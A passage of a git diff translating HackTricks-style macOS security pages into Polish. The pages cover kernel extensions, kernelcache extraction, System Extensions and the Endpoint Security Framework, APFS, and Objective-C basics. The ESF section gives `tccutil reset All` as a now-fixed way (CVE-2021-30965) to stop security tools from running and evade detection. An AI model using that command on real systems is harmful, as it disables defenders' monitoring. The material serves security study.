tak potężne, że **załadowanie rozszerzenia jądra** jest **skomplikowane**. Oto **wymagania**, które musi spełniać rozszerzenie jądra, aby mogło być załadowane: -- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: +- Podczas **wejścia w tryb odzyskiwania**, rozszerzenia jądra **muszą być dozwolone** do załadowania:
-- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. -- The kernel extension must also be **notarized**, Apple will be able to check it for malware. -- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. -- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. +- Rozszerzenie jądra musi być **podpisane certyfikatem podpisu kodu jądra**, który może być **przyznany tylko przez Apple**. Kto dokładnie przeanalizuje firmę i powody, dla których jest to potrzebne. +- Rozszerzenie jądra musi być również **notaryzowane**, Apple będzie mogło je sprawdzić pod kątem złośliwego oprogramowania. +- Następnie, użytkownik **root** jest tym, który może **załadować rozszerzenie jądra**, a pliki wewnątrz pakietu muszą **należeć do roota**. +- Podczas procesu ładowania, pakiet musi być przygotowany w **chronionej lokalizacji nie-root**: `/Library/StagedExtensions` (wymaga przyznania `com.apple.rootless.storage.KernelExtensionManagement`). +- Na koniec, podczas próby załadowania, użytkownik [**otrzyma prośbę o potwierdzenie**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, jeśli zostanie zaakceptowana, komputer musi być **uruchomiony ponownie**, aby go załadować. -### Loading process +### Proces ładowania -In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +W Catalina wyglądało to tak: Interesujące jest to, że proces **weryfikacji** odbywa się w **userland**. Jednak tylko aplikacje z przyznaniem **`com.apple.private.security.kext-management`** mogą **zażądać od jądra załadowania rozszerzenia**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** cli **starts** the **verification** process for loading an extension - - It will talk to **`kextd`** by sending using a **Mach service**. -2. **`kextd`** will check several things, such as the **signature** - - It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. -3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. - - **`syspolicyd`** will report the result to **`kextd`** -4. **`kextd`** will finally be able to **tell the kernel to load** the extension +1. **`kextutil`** cli **rozpoczyna** proces **weryfikacji** ładowania rozszerzenia +- Będzie rozmawiać z **`kextd`**, wysyłając za pomocą **usługi Mach**. +2. **`kextd`** sprawdzi kilka rzeczy, takich jak **podpis** +- Będzie rozmawiać z **`syspolicyd`**, aby **sprawdzić**, czy rozszerzenie może być **załadowane**. +3. **`syspolicyd`** **poprosi** **użytkownika**, jeśli rozszerzenie nie zostało wcześniej załadowane. +- **`syspolicyd`** przekaże wynik do **`kextd`** +4. **`kextd`** w końcu będzie mógł **powiedzieć jądru, aby załadowało** rozszerzenie -If **`kextd`** is not available, **`kextutil`** can perform the same checks. - -### Enumeration (loaded kexts) +Jeśli **`kextd`** nie jest dostępny, **`kextutil`** może przeprowadzić te same kontrole. +### Enumeracja (załadowane kexty) ```bash # Get loaded kernel extensions kextstat @@ -43,40 +42,38 @@ kextstat # Get dependencies of the kext number 22 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ``` - ## Kernelcache > [!CAUTION] -> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. +> Mimo że rozszerzenia jądra powinny znajdować się w `/System/Library/Extensions/`, jeśli przejdziesz do tego folderu, **nie znajdziesz żadnego pliku binarnego**. Dzieje się tak z powodu **kernelcache** i aby odwrócić jeden `.kext`, musisz znaleźć sposób na jego uzyskanie. -The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. +**Kernelcache** to **wstępnie skompilowana i wstępnie połączona wersja jądra XNU**, wraz z niezbędnymi **sterownikami** i **rozszerzeniami jądra**. Jest przechowywana w formacie **skompresowanym** i dekompresowana do pamięci podczas procesu uruchamiania. Kernelcache ułatwia **szybszy czas uruchamiania**, mając gotową do uruchomienia wersję jądra i kluczowych sterowników, co zmniejsza czas i zasoby, które w przeciwnym razie byłyby wydawane na dynamiczne ładowanie i łączenie tych komponentów w czasie uruchamiania. -### Local Kerlnelcache +### Lokalny Kernelcache -In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ -In my case in macOS I found it in: +W iOS znajduje się w **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, w macOS możesz go znaleźć za pomocą: **`find / -name "kernelcache" 2>/dev/null`** \ +W moim przypadku w macOS znalazłem go w: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. +Format pliku IMG4 to format kontenerowy używany przez Apple w jego urządzeniach iOS i macOS do bezpiecznego **przechowywania i weryfikowania komponentów oprogramowania układowego** (takich jak **kernelcache**). Format IMG4 zawiera nagłówek i kilka tagów, które kapsułkują różne fragmenty danych, w tym rzeczywisty ładunek (tak jak jądro lub bootloader), podpis oraz zestaw właściwości manifestu. Format wspiera weryfikację kryptograficzną, pozwalając urządzeniu potwierdzić autentyczność i integralność komponentu oprogramowania układowego przed jego wykonaniem. -It's usually composed of the following components: +Zwykle składa się z następujących komponentów: - **Payload (IM4P)**: - - Often compressed (LZFSE4, LZSS, …) - - Optionally encrypted +- Często skompresowany (LZFSE4, LZSS, …) +- Opcjonalnie szyfrowany - **Manifest (IM4M)**: - - Contains Signature - - Additional Key/Value dictionary +- Zawiera podpis +- Dodatkowy słownik klucz/wartość - **Restore Info (IM4R)**: - - Also known as APNonce - - Prevents replaying of some updates - - OPTIONAL: Usually this isn't found - -Decompress the Kernelcache: +- Znany również jako APNonce +- Zapobiega powtarzaniu niektórych aktualizacji +- OPCJONALNE: Zwykle to nie jest znalezione +Rozpakuj Kernelcache: ```bash # img4tool (https://github.com/tihmstar/img4tool img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e @@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4) pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - -### Download +### Pobierz - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. - -Check it for symbols with: +W [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) można znaleźć wszystkie zestawy debugowania jądra. Możesz je pobrać, zamontować, otworzyć za pomocą narzędzia [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), uzyskać dostęp do folderu **`.kext`** i **wyodrębnić**. +Sprawdź to pod kątem symboli za pomocą: ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. +Czasami Apple wydaje **kernelcache** z **symbolami**. Możesz pobrać niektóre firmware z symbolami, korzystając z linków na tych stronach. Firmware będzie zawierać **kernelcache** oraz inne pliki. -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +Aby **wyodrębnić** pliki, zacznij od zmiany rozszerzenia z `.ipsw` na `.zip` i **rozpakuj** je. -After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: +Po wyodrębnieniu firmware otrzymasz plik taki jak: **`kernelcache.release.iphone14`**. Jest w formacie **IMG4**, możesz wyodrębnić interesujące informacje za pomocą: [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** - ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - [**img4tool**](https://github.com/tihmstar/img4tool)**:** - ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` +### Inspekcja kernelcache -### Inspecting kernelcache - -Check if the kernelcache has symbols with - +Sprawdź, czy kernelcache ma symbole z ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` - -With this we can now **extract all the extensions** or the **one you are interested in:** - +Dzięki temu możemy teraz **wyodrębnić wszystkie rozszerzenia** lub **to, które Cię interesuje:** ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e # Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` - ## Debugging -## Referencias +## Referencje - [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index bb6bb0697..7c7801a03 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Vulnerabilities +# Luki w jądrze macOS {{#include ../../../banners/hacktricks-training.md}} ## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ +[**W tym raporcie**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) wyjaśniono kilka luk, które pozwoliły na skompromitowanie jądra, co naraziło aktualizator oprogramowania.\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 83bdf0dc2..4e32ddb63 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -4,78 +4,76 @@ ## System Extensions / Endpoint Security Framework -Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. +W przeciwieństwie do Kernel Extensions, **System Extensions działają w przestrzeni użytkownika** zamiast w przestrzeni jądra, co zmniejsza ryzyko awarii systemu z powodu awarii rozszerzenia.
https://knight.sc/images/system-extension-internals-1.png
-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +Istnieją trzy typy rozszerzeń systemowych: **DriverKit** Extensions, **Network** Extensions i **Endpoint Security** Extensions. ### **DriverKit Extensions** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKit jest zamiennikiem dla rozszerzeń jądra, które **zapewniają wsparcie sprzętowe**. Umożliwia to działanie sterowników urządzeń (takich jak sterowniki USB, Serial, NIC i HID) w przestrzeni użytkownika zamiast w przestrzeni jądra. Framework DriverKit zawiera **wersje w przestrzeni użytkownika niektórych klas I/O Kit**, a jądro przekazuje normalne zdarzenia I/O Kit do przestrzeni użytkownika, oferując bezpieczniejsze środowisko dla tych sterowników. ### **Network Extensions** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Network Extensions zapewniają możliwość dostosowania zachowań sieciowych. Istnieje kilka typów Network Extensions: -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy**: Używane do tworzenia klienta VPN, który implementuje protokół VPN oparty na przepływie. Oznacza to, że obsługuje ruch sieciowy na podstawie połączeń (lub przepływów) zamiast pojedynczych pakietów. +- **Packet Tunnel**: Używane do tworzenia klienta VPN, który implementuje protokół VPN oparty na pakietach. Oznacza to, że obsługuje ruch sieciowy na podstawie pojedynczych pakietów. +- **Filter Data**: Używane do filtrowania "przepływów" sieciowych. Może monitorować lub modyfikować dane sieciowe na poziomie przepływu. +- **Filter Packet**: Używane do filtrowania pojedynczych pakietów sieciowych. Może monitorować lub modyfikować dane sieciowe na poziomie pakietu. +- **DNS Proxy**: Używane do tworzenia niestandardowego dostawcy DNS. Może być używane do monitorowania lub modyfikowania zapytań i odpowiedzi DNS. ## Endpoint Security Framework -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +Endpoint Security to framework dostarczany przez Apple w macOS, który zapewnia zestaw API do zabezpieczeń systemowych. Jest przeznaczony do użytku przez **dostawców zabezpieczeń i deweloperów do budowania produktów, które mogą monitorować i kontrolować aktywność systemu** w celu identyfikacji i ochrony przed złośliwą działalnością. -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +Framework ten zapewnia **zbiór API do monitorowania i kontrolowania aktywności systemu**, takich jak wykonywanie procesów, zdarzenia systemu plików, zdarzenia sieciowe i jądra. -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +Rdzeń tego frameworka jest zaimplementowany w jądrze, jako Kernel Extension (KEXT) znajdujący się w **`/System/Library/Extensions/EndpointSecurity.kext`**. Ten KEXT składa się z kilku kluczowych komponentów: -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver**: Działa jako "punkt wejścia" dla rozszerzenia jądra. Jest głównym punktem interakcji między systemem operacyjnym a frameworkiem Endpoint Security. +- **EndpointSecurityEventManager**: Ten komponent jest odpowiedzialny za implementację haków jądra. Haki jądra pozwalają frameworkowi monitorować zdarzenia systemowe poprzez przechwytywanie wywołań systemowych. +- **EndpointSecurityClientManager**: Zarządza komunikacją z klientami w przestrzeni użytkownika, śledząc, którzy klienci są połączeni i muszą otrzymywać powiadomienia o zdarzeniach. +- **EndpointSecurityMessageManager**: Wysyła wiadomości i powiadomienia o zdarzeniach do klientów w przestrzeni użytkownika. -The events that the Endpoint Security framework can monitor are categorized into: +Zdarzenia, które framework Endpoint Security może monitorować, są klasyfikowane na: -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- Zdarzenia plików +- Zdarzenia procesów +- Zdarzenia gniazd +- Zdarzenia jądra (takie jak ładowanie/odładowanie rozszerzenia jądra lub otwieranie urządzenia I/O Kit) -### Endpoint Security Framework Architecture +### Architektura Endpoint Security Framework
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**Komunikacja w przestrzeni użytkownika** z frameworkiem Endpoint Security odbywa się za pośrednictwem klasy IOUserClient. Używane są dwie różne podklasy, w zależności od typu wywołującego: -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient**: Wymaga uprawnienia `com.apple.private.endpoint-security.manager`, które posiada tylko proces systemowy `endpointsecurityd`. +- **EndpointSecurityExternalClient**: Wymaga uprawnienia `com.apple.developer.endpoint-security.client`. Zwykle byłoby to używane przez oprogramowanie zabezpieczające firm trzecich, które musi współdziałać z frameworkiem Endpoint Security. -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +Rozszerzenia Endpoint Security:**`libEndpointSecurity.dylib`** to biblioteka C, którą rozszerzenia systemowe używają do komunikacji z jądrem. Ta biblioteka używa I/O Kit (`IOKit`) do komunikacji z KEXT Endpoint Security. -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`** to kluczowy demon systemowy zaangażowany w zarządzanie i uruchamianie rozszerzeń systemowych zabezpieczeń punktów końcowych, szczególnie podczas wczesnego procesu rozruchu. **Tylko rozszerzenia systemowe** oznaczone jako **`NSEndpointSecurityEarlyBoot`** w ich pliku `Info.plist` otrzymują tę wczesną obsługę rozruchu. -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +Inny demon systemowy, **`sysextd`**, **waliduje rozszerzenia systemowe** i przenosi je do odpowiednich lokalizacji systemowych. Następnie prosi odpowiedni demon o załadowanie rozszerzenia. **`SystemExtensions.framework`** jest odpowiedzialny za aktywację i dezaktywację rozszerzeń systemowych. -## Bypassing ESF +## Obejście ESF -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +ESF jest używane przez narzędzia zabezpieczające, które będą próbować wykryć red teamera, więc wszelkie informacje na temat tego, jak można to obejść, są interesujące. ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +Problem polega na tym, że aplikacja zabezpieczająca musi mieć **uprawnienia do pełnego dostępu do dysku**. Więc jeśli atakujący mógłby to usunąć, mógłby zapobiec uruchomieniu oprogramowania: ```bash tccutil reset All ``` +Dla **więcej informacji** na temat tego obejścia i pokrewnych, sprawdź wykład [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +Na koniec to zostało naprawione poprzez nadanie nowego uprawnienia **`kTCCServiceEndpointSecurityClient`** aplikacji zabezpieczającej zarządzanej przez **`tccd`**, dzięki czemu `tccutil` nie usunie jej uprawnień, co uniemożliwi jej działanie. -At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. - -## References +## Odniesienia - [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) - [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 7e9bb6e6d..5294a3400 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple Proprietary File System (APFS) -**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. +**Apple File System (APFS)** to nowoczesny system plików zaprojektowany w celu zastąpienia Hierarchical File System Plus (HFS+). Jego rozwój był napędzany potrzebą **ulepszonej wydajności, bezpieczeństwa i efektywności**. -Some notable features of APFS include: +Niektóre istotne cechy APFS to: -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **Współdzielenie przestrzeni**: APFS pozwala wielu woluminom na **współdzielenie tej samej podstawowej wolnej pamięci** na jednym fizycznym urządzeniu. Umożliwia to bardziej efektywne wykorzystanie przestrzeni, ponieważ woluminy mogą dynamicznie rosnąć i kurczyć się bez potrzeby ręcznego zmieniania rozmiaru lub ponownego partycjonowania. +1. Oznacza to, w porównaniu do tradycyjnych partycji na dyskach plikowych, **że w APFS różne partycje (woluminy) dzielą całą przestrzeń dyskową**, podczas gdy zwykła partycja miała zazwyczaj stały rozmiar. +2. **Migawki**: APFS obsługuje **tworzenie migawek**, które są **tylko do odczytu**, punktowymi instancjami systemu plików. Migawki umożliwiają efektywne tworzenie kopii zapasowych i łatwe przywracanie systemu, ponieważ zajmują minimalną dodatkową przestrzeń i mogą być szybko tworzone lub przywracane. +3. **Klonowanie**: APFS może **tworzyć klony plików lub katalogów, które dzielą tę samą pamięć** co oryginał, aż do momentu, gdy klon lub oryginalny plik zostanie zmodyfikowany. Ta funkcja zapewnia efektywny sposób tworzenia kopii plików lub katalogów bez duplikowania przestrzeni pamięci. +4. **Szyfrowanie**: APFS **natywnie obsługuje szyfrowanie całego dysku** oraz szyfrowanie na poziomie pliku i katalogu, co zwiększa bezpieczeństwo danych w różnych zastosowaniach. +5. **Ochrona przed awarią**: APFS wykorzystuje **schemat metadanych copy-on-write, który zapewnia spójność systemu plików** nawet w przypadku nagłej utraty zasilania lub awarii systemu, zmniejszając ryzyko uszkodzenia danych. +Ogólnie rzecz biorąc, APFS oferuje nowocześniejszy, elastyczniejszy i bardziej efektywny system plików dla urządzeń Apple, z naciskiem na ulepszoną wydajność, niezawodność i bezpieczeństwo. ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +Wolumin `Data` jest zamontowany w **`/System/Volumes/Data`** (możesz to sprawdzić za pomocą `diskutil apfs list`). +Lista firmlinków znajduje się w pliku **`/usr/share/firmlinks`**. ```bash ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4561700b5..3754ea5d1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -5,24 +5,21 @@ ## Objective-C > [!CAUTION] -> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: +> Zauważ, że programy napisane w Objective-C **zachowują** swoje deklaracje klas **gdy** **są kompilowane** do [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takie deklaracje klas **zawierają** nazwę i typ: -- The class -- The class methods -- The class instance variables - -You can get this information using [**class-dump**](https://github.com/nygard/class-dump): +- Klasy +- Metod klasy +- Zmiennych instancji klasy +Możesz uzyskać te informacje używając [**class-dump**](https://github.com/nygard/class-dump): ```bash class-dump Kindle.app ``` +Zauważ, że te nazwy mogą być zafałszowane, aby utrudnić analizę binarną. -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## Klasy, Metody i Obiekty +### Interfejs, Właściwości i Metody ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **Klasa** ```objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } @end ``` +### **Obiekt i wywołanie metody** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +Aby utworzyć instancję klasy, wywoływana jest metoda **`alloc`**, która **przydziela pamięć** dla każdej **właściwości** i **zeruje** te przydziały. Następnie wywoływana jest **`init`**, która **inicjalizuje właściwości** do **wymaganych wartości**. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **Metody klasowe** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +Metody klasowe są definiowane za pomocą **znaku plus** (+), a nie myślnika (-), który jest używany w przypadku metod instancji. Jak metoda klasowa **NSString** **`stringWithString`**: ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: - +Aby **ustawić** i **pobrać** właściwości, możesz to zrobić za pomocą **notacji kropkowej** lub tak, jakbyś **wywoływał metodę**: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **Zmienne Instancji** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +Alternatywnie do metod setter i getter możesz używać zmiennych instancji. Te zmienne mają tę samą nazwę co właściwości, ale zaczynają się od "\_": ```objectivec - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfLeaves); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` +### Protokoły -### Protocols - -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +Protokoły to zestaw deklaracji metod (bez właściwości). Klasa, która implementuje protokół, implementuje zadeklarowane metody. +Istnieją 2 typy metod: **obowiązkowe** i **opcjonalne**. Domyślnie metoda jest **obowiązkowa** (ale można to również wskazać za pomocą tagu **`@required`**). Aby wskazać, że metoda jest opcjonalna, użyj **`@optional`**. ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### Wszystko razem ```objectivec // 